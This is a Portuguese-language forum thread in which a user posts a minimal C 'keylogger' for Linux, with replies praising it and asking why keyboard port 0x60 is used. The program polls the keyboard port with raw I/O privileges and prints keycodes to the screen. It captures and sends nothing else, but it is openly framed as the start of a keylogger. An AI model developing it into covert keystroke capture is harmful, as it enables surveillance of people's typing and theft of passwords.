Um keylogger bem mas muito simples, apenas pega o numeros das teclas e imprime no shell.
//Teste keyloger
#include <stdio.h>
#include <sys/io.h>
int main() {
unsigned char c;
int porta = 0x60;
while(1) {
//Nivel de liberdade na memória
iopl(3);
//Pega um valor que passa em uma determinada porta
c = inb(porta);
//Exibe o numero da tecla precionada
printf("key=%d \n", c);
//Suspende a execução do processador por
//por um determinado tempo
usleep(1000);
}
return(0);
}
(//http://geocities.yahoo.com.br/alucard_dxs/KeyloggerLinux/foto.jpg)
que r0x mano!!!
eu estava lendo algo sobre o assunto, mais nem me aprofundei!
otimo trabalho, depois eu vou testar

vlw!
Bem interessante isso.
Porque a porta tem que ser 0x60?
Quote from: "Binevatum"Bem interessante isso.
Porque a porta tem que ser 0x60?
Cara é na porta 0x60 é que onde o linux faz a comunicação com o teclado.
Da uma olhada... ai.
http://daniloxavier.blogspot.com/2008_0 ... chive.html (http://daniloxavier.blogspot.com/2008_07_01_archive.html)
que bom cara, esse forum estava mesmo precisando de alguns exemplos de programas para nix like. =]
E se for usada uma porta diferente da 0x60 o que vai aparecer?
Existe alguma lista do que cada uma delas pode fazer?
Mui bom Alucard!
to de olho ae
vamos ver como vai ficar seu projeto final
Quote from: "Binevatum"E se for usada uma porta diferente da 0x60 o que vai aparecer?
Existe alguma lista do que cada uma delas pode fazer?
Olha ia pegar os valores que ia passar pela porta.
QuoteMui bom Alucard!
to de olho ae
vamos ver como vai ficar seu projeto final
Olha eu apenas fiz um exemplo, mas posteriormente vou ver se faço um exemplo bem interessante obrigado/!